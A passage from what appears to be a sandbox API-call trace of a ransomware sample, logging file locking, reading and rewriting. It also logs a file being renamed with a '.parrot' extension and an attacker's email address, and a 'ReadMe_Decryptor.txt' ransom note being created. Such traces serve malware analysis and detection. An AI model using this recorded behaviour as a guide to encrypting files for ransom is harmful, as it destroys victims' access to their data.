dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.244] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.244] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.244] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.245] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xda, lpOverlapped=0x0) returned 1 [0065.245] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.245] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.245] CloseHandle (hObject=0x270) returned 1 [0065.327] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x210, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.327] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.327] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.328] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.328] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf8, lpOverlapped=0x0) returned 1 [0065.328] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.329] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x210, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.329] CloseHandle (hObject=0x28c) returned 1 [0065.352] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.352] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.352] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.353] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.353] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd6, lpOverlapped=0x0) returned 1 [0065.353] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.353] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.353] CloseHandle (hObject=0x28c) returned 1 [0065.360] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x216, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.361] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.361] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.361] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.362] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfe, lpOverlapped=0x0) returned 1 [0065.362] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.362] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.362] CloseHandle (hObject=0x28c) returned 1 [0065.388] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fb, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.388] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.388] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.389] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.389] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe3, lpOverlapped=0x0) returned 1 [0065.389] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.389] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.389] CloseHandle (hObject=0x28c) returned 1 [0065.416] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x220, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.416] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.416] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.417] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.417] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x108, lpOverlapped=0x0) returned 1 [0065.417] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.417] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x220, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.417] CloseHandle (hObject=0x28c) returned 1 [0065.472] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f9, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.472] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.472] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.473] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.473] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe1, lpOverlapped=0x0) returned 1 [0065.473] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.474] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.474] CloseHandle (hObject=0x28c) returned 1 [0065.516] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.516] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.516] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.517] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.517] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xce, lpOverlapped=0x0) returned 1 [0065.517] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.517] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.517] CloseHandle (hObject=0x270) returned 1 [0065.522] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.522] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.522] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.523] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.523] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xce, lpOverlapped=0x0) returned 1 [0065.523] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.523] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.523] CloseHandle (hObject=0x270) returned 1 [0065.528] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x278, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.528] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.528] ReadFile (in: hFile=0x1fc, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0065.529] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.529] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x160, lpOverlapped=0x0) returned 1 [0065.529] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.529] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x278, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.529] CloseHandle (hObject=0x1fc) returned 1 [0065.532] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.533] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.533] ReadFile (in: hFile=0x1fc, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0065.579] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.579] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b56, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x2b56, lpOverlapped=0x0) returned 1 [0065.668] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.669] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.669] CloseHandle (hObject=0x1fc) returned 1 [0065.875] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b4b, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.875] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.875] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0065.965] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.966] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1a33, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x1a33, lpOverlapped=0x0) returned 1 [0065.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0065.971] GetLastError () returned 0x0 [0065.972] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.972] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b4b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.972] CloseHandle (hObject=0x1fc) returned 1 [0065.973] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0065.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d97d0 | out: hHeap=0x5b0000) returned 1 [0065.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0065.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x693290 | out: hHeap=0x5b0000) returned 1 [0065.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0065.975] GetFileType (hFile=0x1fc) returned 0x1 [0065.975] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0065.985] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8716c790, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0065.985] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0065.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0065.985] lstrcmpW (lpString1="manifest.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0065.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0065.986] GetFileSize (in: hFile=0x1fc, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0x3ec [0065.986] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x504, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.986] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.986] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0065.994] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.994] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3ec, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x3ec, lpOverlapped=0x0) returned 1 [0065.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0065.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0065.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0065.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0065.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0065.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0065.994] GetLastError () returned 0x0 [0065.994] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0065.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0065.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0065.994] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d9fa8 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5da0f0 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9fa8 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x68d248 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da0f0 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d9fa8 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0065.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x68d248 [0065.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9fa8 | out: hHeap=0x5b0000) returned 1 [0065.995] WriteFile (in: hFile=0x1fc, lpBuffer=0x68d248*, nNumberOfBytesToWrite=0x508, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: 